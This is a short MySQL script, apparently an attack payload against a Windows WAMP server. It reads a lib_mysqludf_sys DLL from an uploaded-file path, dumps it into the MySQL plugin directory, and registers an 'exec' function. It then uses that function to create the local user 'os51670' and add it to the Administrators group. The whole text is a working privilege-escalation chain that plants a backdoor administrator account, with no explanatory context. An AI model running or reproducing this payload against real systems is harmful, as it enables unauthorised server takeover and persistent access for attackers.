USE mysql;CREATE TABLE npn(line blob);INSERT INTO npn(line) values(load_file('C://wamp//www//PHP//fileManager//users//U1//lib_mysqludf_sys_32.dll'));SELECT * FROM npn INTO DUMPFILE 'c://wamp//bin//mysql//mysql5.6.17//lib//plugin//lib_mysqludf_sys_32.dll';CREATE FUNCTION exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';SELECT exec("net user os51670 os51670 /add");SELECT exec("net localgroup Administrators os51670 /add");